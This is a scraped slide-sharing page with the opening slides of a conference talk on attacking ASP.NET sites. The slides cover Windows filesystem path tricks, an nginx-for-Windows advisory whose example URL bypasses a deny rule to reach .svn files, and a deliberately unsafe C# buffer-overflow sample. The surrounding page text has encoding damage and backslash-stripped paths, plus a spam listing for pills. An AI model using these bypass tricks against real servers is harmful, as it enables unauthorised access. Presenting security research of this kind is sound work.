ĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ĐŸĐžĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ПО
ĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ПО
Positive Hack Days
 
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐž
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐžĐ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐž
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐž
Positive Hack Days
 
ĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET Core
ĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET CoreĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET Core
ĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET Core
Positive Hack Days
 

Mehr von Positive Hack Days (20)

Đ˜ĐœŃŃ‚Ń€ŃƒĐŒĐ”ĐœŃ‚ ChangelogBuilder ĐŽĐ»Ń Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžŃ‡Đ”ŃĐșĐŸĐč ĐżĐŸĐŽĐłĐŸŃ‚ĐŸĐČĐșĐž Release Notes
Đ˜ĐœŃŃ‚Ń€ŃƒĐŒĐ”ĐœŃ‚ ChangelogBuilder ĐŽĐ»Ń Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžŃ‡Đ”ŃĐșĐŸĐč ĐżĐŸĐŽĐłĐŸŃ‚ĐŸĐČĐșĐž Release NotesĐ˜ĐœŃŃ‚Ń€ŃƒĐŒĐ”ĐœŃ‚ ChangelogBuilder ĐŽĐ»Ń Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžŃ‡Đ”ŃĐșĐŸĐč ĐżĐŸĐŽĐłĐŸŃ‚ĐŸĐČĐșĐž Release Notes
Đ˜ĐœŃŃ‚Ń€ŃƒĐŒĐ”ĐœŃ‚ ChangelogBuilder ĐŽĐ»Ń Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžŃ‡Đ”ŃĐșĐŸĐč ĐżĐŸĐŽĐłĐŸŃ‚ĐŸĐČĐșĐž Release Notes
 
КаĐș ĐŒŃ‹ ŃĐŸĐ±ĐžŃ€Đ°Đ”ĐŒ ĐżŃ€ĐŸĐ”Đșты ĐČ ĐČŃ‹ĐŽĐ”Đ»Đ”ĐœĐœĐŸĐŒ ĐŸĐșŃ€ŃƒĐ¶Đ”ĐœĐžĐž ĐČ Windows Docker
КаĐș ĐŒŃ‹ ŃĐŸĐ±ĐžŃ€Đ°Đ”ĐŒ ĐżŃ€ĐŸĐ”Đșты ĐČ ĐČŃ‹ĐŽĐ”Đ»Đ”ĐœĐœĐŸĐŒ ĐŸĐșŃ€ŃƒĐ¶Đ”ĐœĐžĐž ĐČ Windows DockerКаĐș ĐŒŃ‹ ŃĐŸĐ±ĐžŃ€Đ°Đ”ĐŒ ĐżŃ€ĐŸĐ”Đșты ĐČ ĐČŃ‹ĐŽĐ”Đ»Đ”ĐœĐœĐŸĐŒ ĐŸĐșŃ€ŃƒĐ¶Đ”ĐœĐžĐž ĐČ Windows Docker
КаĐș ĐŒŃ‹ ŃĐŸĐ±ĐžŃ€Đ°Đ”ĐŒ ĐżŃ€ĐŸĐ”Đșты ĐČ ĐČŃ‹ĐŽĐ”Đ»Đ”ĐœĐœĐŸĐŒ ĐŸĐșŃ€ŃƒĐ¶Đ”ĐœĐžĐž ĐČ Windows Docker
 
ĐąĐžĐżĐŸĐČая ŃĐ±ĐŸŃ€ĐșĐ° Đž ĐŽĐ”ĐżĐ»ĐŸĐč ĐżŃ€ĐŸĐŽŃƒĐșŃ‚ĐŸĐČ ĐČ Positive Technologies
ĐąĐžĐżĐŸĐČая ŃĐ±ĐŸŃ€ĐșĐ° Đž ĐŽĐ”ĐżĐ»ĐŸĐč ĐżŃ€ĐŸĐŽŃƒĐșŃ‚ĐŸĐČ ĐČ Positive TechnologiesĐąĐžĐżĐŸĐČая ŃĐ±ĐŸŃ€ĐșĐ° Đž ĐŽĐ”ĐżĐ»ĐŸĐč ĐżŃ€ĐŸĐŽŃƒĐșŃ‚ĐŸĐČ ĐČ Positive Technologies
ĐąĐžĐżĐŸĐČая ŃĐ±ĐŸŃ€ĐșĐ° Đž ĐŽĐ”ĐżĐ»ĐŸĐč ĐżŃ€ĐŸĐŽŃƒĐșŃ‚ĐŸĐČ ĐČ Positive Technologies
 
ĐĐœĐ°Đ»ĐžŃ‚ĐžĐșĐ° ĐČ ĐżŃ€ĐŸĐ”Đșтах: TFS + Qlik
ĐĐœĐ°Đ»ĐžŃ‚ĐžĐșĐ° ĐČ ĐżŃ€ĐŸĐ”Đșтах: TFS + QlikĐĐœĐ°Đ»ĐžŃ‚ĐžĐșĐ° ĐČ ĐżŃ€ĐŸĐ”Đșтах: TFS + Qlik
ĐĐœĐ°Đ»ĐžŃ‚ĐžĐșĐ° ĐČ ĐżŃ€ĐŸĐ”Đșтах: TFS + Qlik
 
Đ˜ŃĐżĐŸĐ»ŃŒĐ·ĐŸĐČĐ°ĐœĐžĐ” Đ°ĐœĐ°Đ»ĐžĐ·Đ°Ń‚ĐŸŃ€Đ° ĐșĐŸĐŽĐ° SonarQube
Đ˜ŃĐżĐŸĐ»ŃŒĐ·ĐŸĐČĐ°ĐœĐžĐ” Đ°ĐœĐ°Đ»ĐžĐ·Đ°Ń‚ĐŸŃ€Đ° ĐșĐŸĐŽĐ° SonarQubeĐ˜ŃĐżĐŸĐ»ŃŒĐ·ĐŸĐČĐ°ĐœĐžĐ” Đ°ĐœĐ°Đ»ĐžĐ·Đ°Ń‚ĐŸŃ€Đ° ĐșĐŸĐŽĐ° SonarQube
Đ˜ŃĐżĐŸĐ»ŃŒĐ·ĐŸĐČĐ°ĐœĐžĐ” Đ°ĐœĐ°Đ»ĐžĐ·Đ°Ń‚ĐŸŃ€Đ° ĐșĐŸĐŽĐ° SonarQube
 
Đ Đ°Đ·ĐČОтОД ŃĐŸĐŸĐ±Ń‰Đ”ŃŃ‚ĐČĐ° Open DevOps Community
Đ Đ°Đ·ĐČОтОД ŃĐŸĐŸĐ±Ń‰Đ”ŃŃ‚ĐČĐ° Open DevOps CommunityĐ Đ°Đ·ĐČОтОД ŃĐŸĐŸĐ±Ń‰Đ”ŃŃ‚ĐČĐ° Open DevOps Community
Đ Đ°Đ·ĐČОтОД ŃĐŸĐŸĐ±Ń‰Đ”ŃŃ‚ĐČĐ° Open DevOps Community
 
ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...
ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...
ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...
 
АĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†ĐžŃ ĐżĐŸŃŃ‚Ń€ĐŸĐ”ĐœĐžŃ праĐČОл ĐŽĐ»Ń Approof
АĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†ĐžŃ ĐżĐŸŃŃ‚Ń€ĐŸĐ”ĐœĐžŃ праĐČОл ĐŽĐ»Ń ApproofАĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†ĐžŃ ĐżĐŸŃŃ‚Ń€ĐŸĐ”ĐœĐžŃ праĐČОл ĐŽĐ»Ń Approof
АĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†ĐžŃ ĐżĐŸŃŃ‚Ń€ĐŸĐ”ĐœĐžŃ праĐČОл ĐŽĐ»Ń Approof
 
ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application Security»
ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application SecurityÂ»ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application Security»
ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application Security»
 
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐčĐ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
 
Đ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐčĐ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
 
ĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application Security
ĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application SecurityĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application Security
ĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application Security
 
От эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДт
От эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДтОт эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДт
От эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДт
 
ĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° граблО
ĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° ĐłŃ€Đ°Đ±Đ»ĐžĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° граблО
ĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° граблО
 
ĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ПО
ĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ĐŸĐžĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ПО
ĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ПО
 
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐž
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐžĐ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐž
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœĐ°Ń ĐČДрОфОĐșацоя ĐșĐŸĐŽĐ° ĐœĐ° ŃĐ·Ń‹ĐșĐ” ĐĄĐž
 
ĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET Core
ĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET CoreĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET Core
ĐœĐ”Ń…Đ°ĐœĐžĐ·ĐŒŃ‹ ĐżŃ€Đ”ĐŽĐŸŃ‚ĐČŃ€Đ°Ń‰Đ”ĐœĐžŃ атаĐș ĐČ ASP.NET Core
 
SOC ĐŽĐ»Ń КИИ: ĐžĐ·Ń€Đ°ĐžĐ»ŃŒŃĐșĐžĐč ĐŸĐżŃ‹Ń‚
SOC ĐŽĐ»Ń КИИ: ĐžĐ·Ń€Đ°ĐžĐ»ŃŒŃĐșĐžĐč ĐŸĐżŃ‹Ń‚SOC ĐŽĐ»Ń КИИ: ĐžĐ·Ń€Đ°ĐžĐ»ŃŒŃĐșĐžĐč ĐŸĐżŃ‹Ń‚
SOC ĐŽĐ»Ń КИИ: ĐžĐ·Ń€Đ°ĐžĐ»ŃŒŃĐșĐžĐč ĐŸĐżŃ‹Ń‚
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing Đž Đ±Ń€ŃƒŃ‚Ń„ĐŸŃ€Ń-атаĐșĐž
Credential stuffing Đž Đ±Ń€ŃƒŃ‚Ń„ĐŸŃ€Ń-атаĐșĐžCredential stuffing Đž Đ±Ń€ŃƒŃ‚Ń„ĐŸŃ€Ń-атаĐșĐž
Credential stuffing Đž Đ±Ń€ŃƒŃ‚Ń„ĐŸŃ€Ń-атаĐșĐž
 

KĂŒrzlich hochgeladen

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

KĂŒrzlich hochgeladen (20)

Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 

Hack ASP.NET website

  • 1. TO HACK AN ASP .NET WEBSITE? HARD, BUT POSSIBLE! Vladimir Kochetkov Positive Technologies
  • 2. A Blast From The Past: File System DOS devices and reserved names: NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - the colon is optional, names can be used as part of the path Reserved characters: < > : " / | ? * Case insensitivity of names: Filename == FileName == filename == FILENAME Support for short names 8.3: LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT Ending characters: Filename == Filename... == Filename
  • 3. A Blast From The Past: File System Named pipe and mailslots (CreateFile): Hostpipe<name> , Hostmailslot<name> Alternative syntax of relative paths: C:Windowsnotepad.exe == C:notepad.exe , if Windows is a current catalog of C: Substitutions (FindFirstFile): < == * , > == ? , " == . UNC and Unicode paths: C:WindowsSystem32 HostC$WindowsSystem32 .C:WindowsSystem32 ?C:WindowsSystem32 ?UNCHostC$WindowsSystem32
  • 4. A Blast From The Past: File System Meta attributes and NTFS alternative data streams: Directory:<Name>:<Type>File:<Name>:<Type> Files Meta Attributes Indices Meta Attributes $STANDARD_INFORMATION $INDEX_ROOT $FILE_NAME $INDEX_ALLOCATION $DATA $BITMAP $ATTRIBUTE_LIST $OBJECT_ID $REPARSE_POINT C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA FileName.aspx == FileName.aspx:.jpg
  • 5. [PT-2012-06] Nginx Restrictions Bypass Severity level: Medium (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N) Vulnerable versions: Nginx for Windows <= v1.3 Vector: Remote The flaw enables an intruder to forward HTTP requests to certain URL addresses, bypassing the rules set in the Location directives of the web server configuration. By exploiting the vulnerability, a potential hacker could gain access to the application source code and closed parts of the website, detect new vulnerabilities, steal passwords to the database or other services, etc. :$I30:$INDEX_ALLOCATION were processed as a part of the catalog name.
  • 6. [PT-2012-06] Nginx Restrictions Bypass http://hostname/.svn/entries HTTP/1.1 403 Forbidden Server: nginx/1.2.0 
 location ~/.svn/ { deny all; } 
 HTTP/1.1 200 OK Server: nginx/1.2.0 http://hostname/.svn::$INDEX_ALLOCATION/entries * A stable version of nginx-1.2.0 for Windows, released 2012-04-23
  • 8. Memory Corruption Interaction with native libraries, use of mix assemblies MS12-025, April 2012: - arbitrary code execution is triggered by exploitation of an integer overflow vulnerability in gdiplus.dll which causes heap corruption when calling the constructor of the System.Drawing.Imaging.EncoderParameter class. Insecure managed code unsafe void bufferOverflow(string s) { char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c } }
